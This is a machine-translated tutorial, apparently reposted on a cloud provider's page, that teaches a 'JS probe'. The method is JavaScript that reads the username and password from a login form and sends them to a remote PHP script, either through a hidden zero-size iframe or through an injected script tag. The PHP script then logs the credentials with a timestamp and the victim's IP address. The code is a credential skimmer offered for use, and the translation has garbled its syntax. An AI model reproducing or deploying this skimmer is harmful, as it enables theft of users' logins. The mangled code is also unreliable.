Common method for JS Probe

Source: Internet
Author: User

Most of the time, we need to capture the content of some input boxes written by JS Code. Because JS is parsed by the server in the previous section, PHP and ASP are parsed by the server, the data intercepted by JS must be transmitted to the background database through some methods. Therefore, it is natural that JS requests a background URL through the post or get method. However, such requests are asynchronous. If synchronous requests are made, the browser will jump to the probe link and cannot jump back.

Two methods are provided here. One is to use js to pop up an IFRAME sub-window with a length and width set to 0. In this way, I did not test the function successfully and waited for the correction by the gods. The other is the JS request URL script.

Method 1:

Create IFRAME subwindow in JS

VaR F = Document. createelement ("iframe"); F. Height = 0; f. width = 0; f. src = "http: // xxxxxxx/zlo. php? // Here is the probe address user = "+ document. login. User. Value +" & pass "+ document. login. Pass. value; document. Body. appendchild (f );

Method 2:

JS direct request URL

Function ADDR (user, pass )//?? {Var F = document. createelement ("script"); F. setattribute ("type", "text/XXXXX"); // in this way, the browser does not execute F as Js. setattribute ("src", "https: // XXXXX/zlog. PHP? User = "+ User +" & pass = "+ pass); setTimeout (" document. getelementsbytagname ('head') [0]. appendchild (f) ", 1000); // you need to pause for 1 second. If it is too fast, it will cause an error}

Then we can call our code in the JS submit response function.

ADDR (user name and password );

The last is the probe.

ASP, PHP, aspx, and CFM can all be used, that is, to receive the GET request variable. Here, PHP is used as an example:

 
<? PHP $ A =$ _ Get ['user']; $ B =$ _ Get ['pass']; $ fp = fopen ("C: \ test.txt ", "A"); fwrite ($ FP, $ A); fwrite ($ FP, "--"); fwrite ($ FP, $ B); fwrite ($ FP, "-"); date_default_timezone_set ('etc/GMT-8 '); fwrite ($ FP, date ("Y-m-d h: I: s ")); // time fwrite ($ FP, "\ t"); fwrite ($ FP, $ _ server ['remote _ ADDR ']); // ip address fwrite ($ FP, "\ n"); fclose ($ FP)?>


 

Cainiao's remarks are for entertainment only.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.